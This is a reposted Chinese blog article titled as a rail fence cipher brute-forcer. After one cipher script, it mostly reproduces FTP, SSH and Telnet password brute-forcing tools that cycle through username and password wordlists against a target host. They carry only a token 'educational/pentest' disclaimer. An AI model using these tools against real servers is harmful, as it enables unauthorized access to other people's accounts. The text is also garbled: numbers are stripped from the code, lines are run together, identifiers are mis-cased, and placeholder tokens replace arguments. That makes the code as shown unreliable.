Python脚本暴力破解栅栏密码

Python脚本暴力破解栅栏密码,第1张

概述今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。方法一(通用脚本):

今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。

方法一(通用脚本):

#!/usr/bin/env python # -*- Coding: gbk -*- # -*- Coding: utf_ -*- e = raw_input(‘请输入要解密的字符串\n‘) elen = len(e) fIEld=[] for i in range(,elen):       if(elen%i==):         fIEld.append(i) for f in fIEld:   b = elen / f   result = {x:‘‘ for x in range(b)}   for i in range(elen):     a = i % b;     result.update({a:result[a] + e[i]})   d = ‘‘   for i in range(b):     d = d + result[i]   print ‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为: ‘+d

方法二:

FTP暴力破解脚本

#!/usr/bin/env python#-*-Coding = utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--import sys,os,timefrom ftplib import FTPdocs = """      [*] This was written for educational purpose and pentest only. Use it at your own risk.       [*] Author will be not responsible for any damage!      [*] Toolname : ftp_bf.py      [*] Coder :      [*] Version : .      [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt    """if sys.platform == 'linux' or sys.platform == 'linux':  clearing = 'clear'else:  clearing = 'cls'os.system(clearing)R = "\[m";G = "\[m";Y = "\[m"END = "\[m"def logo():  print G+"\n |---------------------------------------------------------------|"  print " | |"  print " | blog.sina.com.cn/kaiyongdeng |"  print " | // ftp_bf.py v.. |"  print " | FTP Brute Forcing Tool |"  print " | |"  print " |---------------------------------------------------------------|\n"  print " \n [-] %s\n" % time.strftime("%X")  print docs+ENDdef help():  print R+"[*]-t,--target ip/hostname <> Our target"  print "[*]-u,--usernameList usernameList <> usernameList path"  print "[*]-p,--passwordList passwordList <> passwordList path"  print "[*]-h,--help help <> print this help"  print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit()def bf_login(hostname,username,password):  # sys.stdout.write("\r[!]Checking : %s " % (p))  # sys.stdout.flush()  try:    ftp = FTP(hostname)    ftp.login(hostname,password)    ftp.retrlines('List')    ftp.quit()    print Y+"\n[!] wt,wt!!! We dID it ! "    print "[+] Target : ",hostname,""    print "[+] User : ",""    print "[+] Password : ",password,""+END    return   # sys.exit()  except Exception,e:    pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END  sys.exit()def anon_login(hostname):  try:    print G+"\n[!] Checking for anonymous login.\n"+END    ftp = FTP(hostname) ftp.login()    ftp.retrlines('List')    print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END    ftp.quit()  except Exception,e:    print R+"\n[-] Anonymous login Failed...\n"+END    passdef main():  logo()  try:    for arg in sys.argv:      if arg.lower() == '-t' or arg.lower() == '--target':        hostname = sys.argv[int(sys.argv[:].index(arg))+]      elif arg.lower() == '-u' or arg.lower() == '--usernameList':        usernameList = sys.argv[int(sys.argv[:].index(arg))+]      elif arg.lower() == '-p' or arg.lower() == '--passwordList':        passwordList = sys.argv[int(sys.argv[:].index(arg))+]      elif arg.lower() == '-h' or arg.lower() == '--help':        help()      elif len(sys.argv) <= :        help()  except:    print R+"[-]Cheak your paraMetars input\n"+END    help()  print G+"[!] BruteForcing target ..."+END  anon_login(hostname)  # print "here is ok"  # print hostname  try:    usernames = open(usernameList,"r")    user = usernames.readlines()    count =     while count < len(user):      user[count] = user[count].strip()      count +=  except:    print R+"\n[-] Cheak your usernameList path\n"+END    sys.exit()  # print "here is ok ",usernameList,passwordList  try:    passwords = open(passwordList,"r")    pwd = passwords.readlines()    count =     while count < len(pwd):      pwd[count] = pwd[count].strip()      count +=  except:    print R+"\n[-] Check your passwordList path\n"+END    sys.exit()  print G+"\n[+] Loaded:",len(user),"usernames"  print "\n[+] Loaded:",len(pwd),"passwords"  print "[+] Target:",hostname  print "[+] Guessing...\n"+END  for u in user: for p in pwd:    result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))    if result != :      print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"disenable"+END    else:      print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END    if not result :      print R+"\n[-]There is no username ans password enabled in the List."      print "[-]Exiting...\n"+ENDif __name__ == "__main__":  main()

SSH暴力破解

#!/usr/bin/env python#-*-Coding = UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimport sysimport osimport time#from threading import Threadtry:  from paramiko import SSHClIEnt  from paramiko import autoAddPolicyexcept importError:  print G+'''  You need paramiko module.http://www.lag.net/paramiko/  Debian/Ubuntu: sudo apt-get install aptitude     : sudo aptitude install python-paramiko\n'''+END  sys.exit()docs = """      [*] This was written for educational purpose and pentest only. Use it at your own risk.      [*] Author will be not responsible for any damage!                                     [*] Toolname    : ssh_bf.py      [*] Author     : xfk      [*] Version     : v..      [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U usersList] [-W wordList] [-H help]  """if sys.platform == 'linux' or sys.platform == 'linux':     clearing = 'clear'else:      clearing = 'cls'os.system(clearing)R = "\[m";G = "\[m";Y = "\[m"END = "\[m"def logo():     print G+"\n        |---------------------------------------------------------------|"     print "        |                                |"     print "        |        blog.sina.com.cn/kaiyongdeng          |"     print "        |        // ssh_bf.py v..           |"     print "        |         SSH Brute Forcing Tool            |"     print "        |                                |"     print "        |---------------------------------------------------------------|\n"     print " \n           [-] %s\n" % time.ctime()     print docs+ENDdef help():  print Y+"    [*]-H    --hostname/ip    <>the target hostname or ip address"  print "   [*]-P    --port     <>the ssh service port(default is )"  print "   [*]-U    --usernameList   <>usernames List file"  print "   [*]-P    --passwordList   <>passwords List file"  print "   [*]-H    --help     <>show help information"  print "   [*]Usage:python %s [-T target] [-P port] [-U usersList] [-W wordList] [-H help]"+END  sys.exit()def BruteForce(hostname,port,password):    '''    Create SSH connection to target    '''    ssh = SSHClIEnt()    ssh.set_missing_host_key_policy(autoAddPolicy())    try:      ssh.connect(hostname,pkey=None,timeout = None,allow_agent=False,look_for_keys=False)      status = 'ok'      ssh.close()    except Exception,e:      status = 'error'      pass  return statusdef makeList(file):  '''  Make usernames and passwords Lists  '''  items = []  try:    fd = open(file,'r')  except IOError:    print R+'unable to read file \'%s\'' % file+END    pass  except Exception,e:    print R+'unkNown error'+END    pass  for line in fd.readlines():    item = line.replace('\n','').replace('\r','')    items.append(item)  fd.close()   return itemsdef main():    logo() #  print "hello wold"    try:          for arg in sys.argv:            if arg.lower() == '-t' or arg.lower() == '--target':                hostname = str(sys.argv[int(sys.argv[:].index(arg))+])        if arg.lower() == '-p' or arg.lower() == '--port':          port = sys.argv[int(sys.argv[:].index(arg))+]            elif arg.lower() == '-u' or arg.lower() == '--userList':                userList = sys.argv[int(sys.argv[:].index(arg))+]            elif arg.lower() == '-w' or arg.lower() == '--wordList':                wordList = sys.argv[int(sys.argv[:].index(arg))+]            elif arg.lower() == '-h' or arg.lower() == '--help':                help()      elif len(sys.argv) <= :                help()    except:        print R+"[-]Cheak your paraMetars input\n"+END        help()    print G+"\n[!] BruteForcing target ...\n"+END#    print "here is ok"#    print hostname,wordList,userList    usernameList = makeList(userList)    passwordList = makeList(wordList)    print Y+"[*] SSH Brute Force Praparing."    print "[*] %s user(s) loaded." % str(len(usernameList))    print "[*] %s password(s) loaded." % str(len(passwordList))    print "[*] Brute Force Is Starting......."+END  try:      for username in usernameList:        for password in passwordList:        print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END            current = BruteForce(hostname,password)              if current == 'error':          print R+"[-]O*O The username:%s and password:%s Is disenbabled...\n" % (username,password)+END#                pass              else:                  print G+"\n[+] ^-^ HaHa,We Got It!!!"                  print "[+] username: %s" % username                  print "[+] password: %s\n" % password+END#                  sys.exit()  except:    print R+"\n[-] There Is Something Wrong,Pleace Cheak It."    print "[-] Exitting.....\n"+END    raise    print Y+"[+] Done.^-^\n"+END    sys.exit()if __name__ == "__main__":  main()

TELNET密码暴力破解

#!usr/bin/python#Telnet Brute Forcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimport threading,time,random,sys,telnetlibfrom copy import copyif len(sys.argv) !=:  print "Usage: ./telnetbrute.py <server> <userList> <wordList>"  sys.exit()try:  users = open(@R_419_3374@,"r").readlines()except(IOError):  print "Error: Check your userList path\n"  sys.exit()try:  words = open(@R_419_3374@,"r").readlines()except(IOError):  print "Error: Check your wordList path\n"  sys.exit()print "\n\t  dhydr[at]gmail[dot]com TelnetBruteForcer v."print "\t--------------------------------------------------\n"print "[+] Server:",@R_419_3374@print "[+] Users Loaded:",len(users)print "[+] Words Loaded:",len(words),"\n"wordList = copy(words)def reloader():  for word in wordList:    words.append(word)def getword():  lock = threading.Lock()  lock.acquire()  if len(words) != :    value = random.sample(words,)    words.remove(value[])  else:    print "\nReloading WordList - Changing User\n"    reloader()    value = random.sample(words,)    users.remove(users[])  lock.release()  if len(users) ==:    return value[][:-],users[]  else:    return value[][:-],users[][:-]class Worker(threading.Thread):  def run(self):    value,user = getword()    try:      print "-"*      print "User:",user,"Password:",value      tn = telnetlib.Telnet(@R_419_3374@)      tn.read_until("login: ")      tn.write(user + "\n")      if password:          tn.read_until("Password: ")          tn.write(value + "\n")      tn.write("ls\n")      tn.write("exit\n")      print tn.read_all()      print "\t\nLogin successful:",value,user      tn.close()      work.join()      sys.exit()    except:      passfor I in range(len(words)*len(users)):  work = Worker()  work.start()  time.sleep()
总结

以上是内存溢出为你收集整理的Python脚本暴力破解栅栏密码全部内容,希望文章能够帮你解决Python脚本暴力破解栅栏密码所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/1204879.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-04
下一篇 2022-06-04

发表评论

登录后才能评论

评论列表(0条)

保存